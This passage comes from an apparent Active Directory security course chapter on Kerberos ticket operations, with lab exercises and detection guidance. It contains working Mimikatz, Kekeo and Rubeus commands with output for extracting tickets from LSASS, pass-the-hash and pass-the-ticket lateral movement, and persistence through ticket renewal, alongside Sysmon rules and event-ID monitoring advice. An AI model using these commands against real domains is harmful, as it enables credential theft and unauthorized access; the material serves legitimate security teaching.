kekeo # tgt::ask /user:bob /rc4:64f12cddaa88057e06a81b54e73b949b /domain:corp.local /ptt
Realm : corp.local (CORP)
User : bob (bob)
CName : bob [KRB_NT_PRINCIPAL (1)]
SName : krbtgt/corp.local [KRB_NT_SRV_INST (2)]
Need PAC : Yes
Auth mode : ENCRYPTION KEY 23 (rc4_hmac_nt): fc525c9683e8fe067095ba2ddc971889
[kdc] name: dc01.corp.local (auto)
[kdc] addr: 10.1.1.4 (auto)
> Ticket in file 'TGT_bob@CORP.LOCAL_krbtgt~corp.local@CORP.LOCAL.kirbi'
Step 3: Request Service Tickets
# LSASS automatically requests TGS using the imported TGT
C:\> net use \\dc01.corp.local\C$
The command completed successfully.
C:\> dir \\dc01.corp.local\C$\Windows\NTDS
...
ntds.dit
Result: Using only bob's NT hash, attacker gains full Kerberos access without cracking password.
Scenario 3: Persistent Access via Ticket Renewal¶
Context: Long-term access maintained by renewing stolen tickets.
Attack Flow:
Day 1: Initial Compromise
- Compromise system, extract admin TGT
- TGT valid for 10 hours, renewable for 7 days
Day 2-7: Maintain Access
# Every 8 hours (before 10-hour expiration)
kekeo # tgs::renew /tgt:admin_tgt.kirbi /ptt
Day 7: Maximum Renewal Reached
# renew-till deadline reached, ticket cannot be renewed further
# Request new TGT using stored credentials
kekeo # tgt::ask /user:admin /rc4:8a17fd6f96adb1e28a0f9e5b25a40f72 /domain:corp.local /ptt
Result: Attacker maintains access for weeks by renewing tickets and re-requesting when necessary, even if password changes would force new authentication (though hash would also change).
Defense and Detection Summary¶
Preventive Controls:
- LSA Protected Process Light (PPL)
- Prevents unauthorized LSASS memory access
- Blocks
sekurlsa::ticketsextraction -
Requires Windows 8.1+, UEFI Secure Boot
-
Credential Guard
- Isolates credentials in VTL-1 container
- Prevents ticket extraction from LSASS
-
Requires virtualization support
-
Audit Policies
- Enable "Audit Kerberos Authentication Service" (4768)
- Enable "Audit Kerberos Service Ticket Operations" (4769, 4770)
- Monitor for anomalies in ticket requests/renewals
Detective Controls:
- Sysmon Monitoring
- Event ID 10: LSASS access (ticket extraction)
- Event ID 3: Port 88 connections from non-LSASS (ticket requests)
-
Event ID 11: .kirbi file creation (ticket export)
-
Security Event Log Analysis
- Event ID 4768: TGT requests from unusual IPs/times
- Event ID 4769: TGS requests with anomalous patterns
-
Event ID 4770: Ticket renewals outside normal behavior
-
Behavioral Analytics
- User authenticating from unexpected systems
- Ticket usage patterns inconsistent with work schedule
- Multiple users' tickets used from single system
Response Actions:
- Immediate Containment
- Isolate compromised systems
- Reset passwords for affected accounts (invalidates tickets)
-
Reset krbtgt account twice (invalidates all TGTs in domain)
-
Forensic Analysis
- Memory dump of compromised systems
- Review Kerberos event logs
-
Correlate LSASS access with ticket usage
-
Remediation
- Deploy LSA PPL across environment
- Implement Credential Guard on compatible systems
- Review and restrict administrative privileges
Practical Exercises¶
Exercise 1: Ticket Extraction and Analysis¶
Objective: Extract and analyze Kerberos tickets from a compromised system.
Prerequisites: - Lab Windows 10 workstation (CLIENT01) - Domain user account (alice) - Mimikatz and Kekeo - ASN.1 editor or Rubeus
Steps:
-
Log on as alice and generate tickets
- Log into CLIENT01 as alice - Access file share: net use \\fileserver\share - Access web app: browse to http://intranet.corp.local -
List current session tickets
kekeo # kerberos::list - Observe TGT and TGS tickets - Note encryption types, expiration times, flags -
Export tickets
mimikatz # sekurlsa::tickets /export - Locate .kirbi files in current directory - Count number of tickets exported -
Analyze ticket structure
PS C:\> .\Rubeus.exe describe /ticket:0-602058-2-0-40e10000-alice@krbtgt-CORP.LOCAL.kirbi - Examine service name, encryption type, timestamps - Identify renewable vs. non-renewable tickets -
Export to Base64
kekeo # base64 /out:true kekeo # kerberos::list /export - Copy Base64 output - Decode on Linux: echo "base64..." | base64 -d > ticket.kirbi
Questions: - How many tickets were extracted? - What encryption types are used? - Which tickets are renewable? - What is the maximum lifetime of the TGT?
Exercise 2: Pass-The-Ticket Attack¶
Objective: Demonstrate lateral movement using exported tickets.
Prerequisites: - Lab environment with CLIENT01 and CLIENT02 - Domain user alice with access to shared resources - Mimikatz/Kekeo
Steps:
-
Extract tickets on CLIENT01
- Log on as alice to CLIENT01 - Access \\fileserver\finance - Extract tickets: sekurlsa::tickets /export -
Transfer tickets to CLIENT02
- Copy .kirbi files to USB or network share - Logon to CLIENT02 as different user (bob) -
Purge bob's tickets
kekeo # kerberos::purge Ticket(s) purge for current session is OK -
Import alice's tickets
kekeo # kerberos::ptt C:\tickets\alice_tgt.kirbi * File: 'C:\tickets\alice_tgt.kirbi': OK -
Access resources as alice
C:\> whoami corp\bob C:\> dir \\fileserver\finance [Access granted with alice's ticket] -
Observe authentication context
C:\> klist - Verify alice's TGT and TGS are cached - whoami still shows bob (local identity) - Network authentication uses alice's tickets
Questions:
- Why does whoami show bob but network access uses alice's identity?
- What happens when alice's ticket expires?
- How would you detect this attack?
Exercise 3: Ticket Renewal and Monitoring¶
Objective: Practice ticket renewal and configure detection.
Prerequisites: - Domain controller with logging enabled - Sysmon installed on CLIENT01 - SIEM or log aggregation tool
Steps:
-
Request TGT with short lifetime
kekeo # tgt::ask /user:testuser /password:Password123! /domain:corp.local /ptt -
Monitor ticket expiration
kekeo # localtime kekeo # kerberos::list - Note EndTime - Wait 8 hours (or adjust system time for testing) -
Renew before expiration
kekeo # kerberos::list /export kekeo # tgs::renew /tgt:testuser_tgt.kirbi /ptt - Verify new EndTime -
Review Event Logs
- DC Security Log: Event ID 4768 (TGT request) - DC Security Log: Event ID 4770 (Ticket renewal) - Correlate IP, timestamps, user accounts -
Configure Sysmon Detection
<FileCreate onmatch="include"> <TargetFilename condition="end with">.kirbi</TargetFilename> </FileCreate> <NetworkConnect onmatch="include"> <DestinationPort condition="is">88</DestinationPort> <Image condition="is not">C:\Windows\System32\lsass.exe</Image> </NetworkConnect> -
Test Detection
- Request new TGT: tgt::ask - Export tickets: /export - Verify Sysmon Event ID 3 (port 88) and 11 (.kirbi creation)
Deliverable: SIEM rule detecting ticket operations with <10% false positive rate.
Summary¶
Kerberos ticket operations form the foundation for many sophisticated Active Directory attacks. The ability to list, export, import, renew, and request tickets enables attackers to move laterally, escalate privileges, and maintain persistent access without repeatedly authenticating with passwords.
Key Technical Points:
-
Ticket Storage: Windows stores tickets in LSASS memory within logon sessions, requiring administrative access for extraction via
sekurlsa::ticketsbut allowing current-session access viakerberos::list. -
KIRBI Format: Exported tickets use ASN.1 DER-encoded binary format, exportable to files (.kirbi) or Base64 strings to avoid disk artifacts.
-
TGT Replacement: Each logon session maintains only one TGT; importing multiple TGTs causes replacement, while service tickets (TGS) are cumulative.
-
Ticket Validity: LSASS validates ticket expiration on import, preventing use of expired tickets but accepting tickets with arbitrary future times (exploitable in Golden/Silver Ticket attacks).
-
Renewal Mechanism: Tickets with
renewableflag can be renewed beforeEndTimeup torenew-tilldeadline, extending access without re-authentication. -
Direct Kerberos Requests: Tools like Kekeo can request TGTs directly from KDCs using credentials (password, NT hash, AES keys), bypassing LSASS and generating detectable network connections to port 88.
Operational Considerations:
For offensive practitioners, ticket operations enable:
- Pass-The-Ticket attacks (immediate lateral movement)
- Over-Pass-The-Hash (requesting Kerberos tickets with NTLM hashes)
- Credential reuse across systems (export from one, import on another)
- Persistent access through ticket renewal
- Avoiding password authentication while maintaining network access
For defensive teams, protection requires:
- LSA PPL deployment to prevent LSASS memory extraction
- Sysmon monitoring for LSASS access, .kirbi file creation, non-LSASS port 88 connections
- Kerberos event monitoring (Event IDs 4768, 4769, 4770) for anomalous patterns
- Behavioral analytics detecting ticket usage inconsistent with user patterns
- Password resets and krbtgt resets to invalidate stolen tickets
Strategic Importance:
Understanding Kerberos ticket operations is prerequisite to advanced attacks including Golden Tickets (forging TGTs), Silver Tickets (forging service tickets), Kerberoasting (cracking service account passwords), and delegation abuse (exploiting unconstrained/constrained delegation). The ticket-based nature of Kerberos means that credential theft has lasting impact—stolen tickets remain valid until expiration or password reset, enabling sustained unauthorized access even after initial compromise is remediated.
In the broader context of Active Directory security, tickets represent cached authentication tokens that, when compromised, grant immediate access without triggering password validation events. This makes ticket-based attacks particularly stealthy and difficult to detect without comprehensive logging and behavioral analysis. Organizations must implement defense-in-depth strategies combining preventive controls (LSA PPL, Credential Guard), detective controls (Sysmon, Security event monitoring), and incident response capabilities (rapid password/krbtgt resets) to effectively defend against Kerberos ticket manipulation attacks.
Previous Chapter: Chapter 24: Kerberos Overview
Next Chapter: Chapter 26: Pass-The-Ticket
Related Chapters: - Chapter 28: Over-Pass-The-Hash - Using hashes to request Kerberos tickets - Chapter 30: Golden Ticket - Forging TGTs with krbtgt hash - Chapter 31: Silver Ticket - Forging service tickets - Chapter 12: LSASS Protections - LSASS architecture and credential storage